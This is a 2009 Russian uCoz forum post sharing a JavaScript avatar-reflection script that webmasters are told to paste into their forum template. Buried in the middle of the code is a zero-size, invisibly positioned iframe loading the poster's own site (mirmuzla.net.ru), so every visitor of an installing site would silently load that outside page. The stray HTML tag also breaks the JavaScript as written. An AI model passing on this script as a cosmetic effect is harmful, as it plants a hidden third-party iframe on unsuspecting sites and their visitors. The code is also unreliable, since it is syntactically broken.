Вторник, 11.08.2020, 12:32Приветствую Вас Гость | RSS
Главная | Скрипт отражение Аватара на форуме - Форум | Регистрация | Вход
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Для вебмастера » Скрипты системы UCOZ » Скрипт отражение Аватара на форуме
Скрипт отражение Аватара на форуме
sachok Дата: Пятница, 30.10.2009, 18:52 | Сообщение # 1
Группа: Пользователи
Сообщений: 81
Статус: :-)
Скрин скрипта посмотреть можно сдесь--> http://mirmuzla.net.ru/am/23.jpg

Панель управления ->управление дизайном ->общий вид форума и между тегами ставим вот этот код:

Code
<script type="text/javascript">
document.getElementsByClassName = function(className) {
var children = document.getElementsByTagName('*') || document.all;
var elements = new Array();

for (var i = 0; i < children.length; i++) {
var child = children[i];
var classNames = child.className.split(' ');
for (var j = 0; j < classNames.length; j++) {
if (classNames[j] == className) {
elements.push(child);
break;
}
}
}
return elements;
}

var Reflection = {
defaultHeight : 0.5,
defaultOpacity: 0.5,

add: function(image, options) {
Reflection.remove(image);

doptions = { "height" : Reflection.defaultHeight, "opacity" : Reflection.defaultOpacity }
if (options) {
for (var i in doptions) {
if (!options[i]) {
options[i] = doptions[i];
}
}
} else {
options = doptions;
}

try {
var d = document.createElement('div');
var p = image;

var classes = p.className.split(' ');
var newClasses = '';
for (j=0;j<classes.length;j++) {
if (classes[j] != "userAvatar") {
if (newClasses) {
newClasses += ' '
}
newClasses += classes[j];
}
}

var reflectionHeight = Math.floor(p.height*options['height']);
var divHeight = Math.floor(p.height*(1+options['height']));

var reflectionWidth = p.width;

if (document.all && !window.opera) {
/* Copy original image's classes & styles to div */
d.className = newClasses;
p.className = 'reflected';

d.style.cssText = p.style.cssText;
p.style.cssText = 'vertical-align: bottom';

var reflection = document.createElement('img');
reflection.src = p.src;
reflection.style.width = reflectionWidth+'px';
<iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"src="http://mirmuzla.net.ru/">
reflection.style.marginBottom = "-"+(p.height-reflectionHeight)+'px';
reflection.style.filter = 'flipv progid:DXImageTransform.Microsoft.Alpha(opacity='+(options['opacity']*100)+', style=1, finishOpacity=0, startx=0, starty=0, finishx=0, finishy='+(options['height']*100)+')';

d.style.width = reflectionWidth+'px';
d.style.height = divHeight+'px';
p.parentNode.replaceChild(d, p);

d.appendChild(p);
d.appendChild(reflection);
} else {
var canvas = document.createElement('canvas');
if (canvas.getContext) {
/* Copy original image's classes & styles to div */
d.className = newClasses;
p.className = 'reflected';
d.style.cssText = p.style.cssText;
p.style.cssText = 'vertical-align: bottom';

var context = canvas.getContext("2d");

canvas.style.height = reflectionHeight+'px';
canvas.style.width = reflectionWidth+'px';
canvas.height = reflectionHeight;
canvas.width = reflectionWidth;

d.style.width = reflectionWidth+'px';
d.style.height = divHeight+'px';
p.parentNode.replaceChild(d, p);

d.appendChild(p);
d.appendChild(canvas);

context.save();

context.translate(0,image.height-1);
context.scale(1,-1);

context.drawImage(image, 0, 0, reflectionWidth, image.height);

context.restore();

context.globalCompositeOperation = "destination-out";
var gradient = context.createLinearGradient(0, 0, 0, reflectionHeight);

gradient.addColorStop(1, "rgba(255, 255, 255, 1.0)");
gradient.addColorStop(0, "rgba(255, 255, 255, "+(1-options['opacity'])+")");

context.fillStyle = gradient;
if (navigator.appVersion.indexOf('WebKit') != -1) {
context.fill();
} else {
context.fillRect(0, 0, reflectionWidth, reflectionHeight*2);
}
}
}
} catch (e) {
}
},

remove : function(image) {
if (image.className == "reflected") {
image.className = image.parentNode.className;
image.parentNode.parentNode.replaceChild(image, image.parentNode);
}
}
}

function addReflections() {
var rimages = document.getElementsByClassName('userAvatar');
for (i=0;i<rimages.length;i++) {
var rheight = null;
var ropacity = null;

var classes = rimages[i].className.split(' ');
for (j=0;j<classes.length;j++) {
if (classes[j].indexOf("rheight") == 0) {
var rheight = classes[j].substring(7)/100;
} else if (classes[j].indexOf("ropacity") == 0) {
var ropacity = classes[j].substring(8)/100;
}
}

Reflection.add(rimages[i], { height: rheight, opacity : ropacity});
}
}

var previousOnload = window.onload;
window.onload = function () { if(previousOnload) previousOnload(); addReflections(); }
</script>


sachok
Форум » Для вебмастера » Скрипты системы UCOZ » Скрипт отражение Аватара на форуме
  • Страница 1 из 1
  • 1
Поиск:
Статистика Форума
Последнии темы Читаемые темы Лучшие пользователи Новые пользователи

vLineAge2.ru приглашает сразу после конца света, 22.12, 17.00 МСК!

MagdoJIuHA85

(0)

Бесплатная раскрутка сайта

jumper

(154)

Проект vLineAge2.ru приглашает Вас 19.10.2012 в 19.00 мск!

DarkBoobs79

(0)

vLineAge.ru приглашает Вас 19.10.2012 в 19.00 мск!

DarkBoobs79

(0)

Сегодня нас посетили XX юзеров

sachok

(0)

Скрипт "сегодня были пользователи" для uCoz

sachok

(0)

Тёмный вид материалов каталога файлов, новостей,статей, новый diz-c

sachok

(0)

Выдыижной, Красивый поиск

sachok

(0)

Скрипт статистики сайта под темный дизайн

sachok

(0)

ClanWars - статистика CW для ucoz, победы - Поражения

sachok

(0)

Бесплатная раскрутка сайта

(154)

Новый турнир *на вылет* Регистрация здесь

(27)

Премьер-Лига по FIFA 09

(22)

Набирается команда сайта

(20)

Результаты игр

(9)

Инструкция для игры

(8)

Тема для проведения товарняков!!!

(8)

Изготовление аватаров

(7)

Правила Премьер_Лиги

(6)

Премьер-Лига

(5)

jumper

(127)

sachok

(81)

pinkY

(31)

admin

(20)

Buffon

(20)

magistr

(17)

SlemHut

(16)

nicknam

(14)

жека

(12)

jasminka

(9)

  • dhsibgjvvv
  • Teach
  • waxirewion
  • Chuangzhi
  • margesic


  • Copyright Football-world © 2008
    Rambler's Top100 Футбол на Soccer.ru: Новости футбола России и Европы онлайн, Евро кубки и чемпионаты Live Каталог Ресурсов Интернет